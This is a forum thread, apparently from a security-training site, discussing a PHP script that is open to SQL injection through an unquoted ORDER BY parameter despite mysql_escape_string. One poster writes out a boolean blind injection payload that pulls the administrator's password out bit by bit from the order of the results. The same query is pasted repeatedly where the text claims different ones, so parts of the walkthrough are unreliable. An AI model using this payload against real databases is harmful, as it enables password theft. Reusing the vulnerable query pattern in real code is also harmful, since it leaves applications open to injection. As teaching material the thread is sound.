Jump to content
Fayez

Try to exploit it SQLi (Order by)

Recommended Posts

Fayez

Hello friends,

when I was searching in my PC I found something interesting about SQLi, I think if I put it here it will be useful to discuss it .

Look to the code :


<?php

include 'db.php';

if (isset($_GET["order_by"]))

$order_by = mysql_escape_string($_GET["order_by"]);

else

$order_by = 'name';

$result = mysql_query("SELECT * FROM users ORDER BY $order_by");

while( $row = mysql_fetch_array($result) ){

echo "<b>".$row["username"]."</b> - ";

echo " ".$row["name"]." - ";

echo " ".$row["email"];

echo "<br>";

}

?>


as you can see from the snippet of code we have select query to return all users and order them by user input like (name , date , id) it depends on table. Anyway, we have some protection by using (mysql_escape_string) function.

requirements,

Is this code vulnerable by SQLi ?

if it yes answer this question.

Is mysql_escape_string here make protection from SQLi ?

How you can exploit it ?

Ok friends, the game started,:)

Share this post


Link to post
Armando

mysql_escape_string is currently deprecated. Anyway it escapes ' and other chars but in a ORDER BY clause you wouldn't need the ' (quote) to close a string since it is supposed to contain column names (so without quotes) and you can inject an HAVING or UNION...to perform trickery.

Share this post


Link to post
Fayez

Welcome Armado,

You are in the road, that's right we don't need to quotes and we need and contain the column name

but we can't exploit by using UNION , ok i'll let our friends to figure it out after that i'll explain it ,

but i'll let them try.

Share this post


Link to post
Fayez

hello friends,

here is the complete explanation,


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


As you can see from the above example, the user can control how the final results are displayed.

By manipulating the GET variable "order_by", he can display the results in a different order. For example, by requesting the

URL ‘/orderby.php?order_by=name’ the following results will be returned:

1 - admin - Clear Rivers - admin@email.com

3 - John - John Smith - john@email.com

2 - Mary - Mary Smith - mary@email.com

5 - Adrian - Popescu Adrian -adrian@gmail.com

However, requesting the URL ‘/orderby.php?order_by=email‘ will return the results in a different order:

1 - admin - Clear Rivers - admin@email.com

5 - Adrian - Popescu Adrian - adrian@gmail.com

3 - John - John Smith - john@email.com

2 - Mary - Mary Smith - mary@email.com

In the previous code sample, the developer tries to filter the user input by using ‘mysql_escape_string’. However, this protection

does not work because the user input is not enclosed between quotes. Therefore this code is vulnerable to SQL injection. Since

in this example we cannot use UNION SELECT, how can we exploit it? A query like "SELECT * FROM users ORDER BY name union select

version()" will return the following error message:

"Incorrect usage of UNION and ORDER BY".

The idea is to order the data differently based on the result of various boolean conditions.

The SQL query syntax should be:


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


then name else email end)

Therefore the SQL query for this example will be as follows:


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


In this case the condition (1=1) is true and the results will be ordered by name. Therefore, it will return 1,3,2,5. However,


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


is false and will return 1,5,3,2, where the results are ordered by email.By using these boolean conditions, we can

extract any information we want from the database one bit at a time. For example, if we wanted to extract the

password of the administrator we could use

queries like:


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


This query will return TRUE (results ordered by name) if the first bit from the first character

of the password is 1 and FALSE (results ordered by email) is 0.

To extract the second bit we will use the following query:


SELECT * FROM users ORDER BY (case when (ORD(MID((select password

from users where id=1),1,1))&2>0) then name else email end)


that's it ^_^ !

Share this post


Link to post
matugm

Sounds very interesting, thanks for sharing you knowledge with us!

Share this post


Link to post
Armando

Yes, a very good post and would love to see more on this.

We should place this trick in a Coliseum Battle ;)

Share this post


Link to post
Fayez

welcome Armando,

I think the students will hate me, but it's new way to find SQLi vulnerability, and if we can build tools to exploit like this vulnerability, i believe we have good students here.

Share this post


Link to post
mohammed.chemouri

Salam Fayez;

Thank you for the good post ;

But it's normal Blind SQLi , and you could use Acunetix Web Vulnerability Scanner to exploit it , of course implementing your own "Condition Based Extractor"

Have a good look ; and let's be in touch with you Bro.

welcome Armando,

I think the students will hate me, but it's new way to find SQLi vulnerability, and if we can build tools to exploit like this vulnerability, i believe we have good students here.

Share this post


Link to post

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
×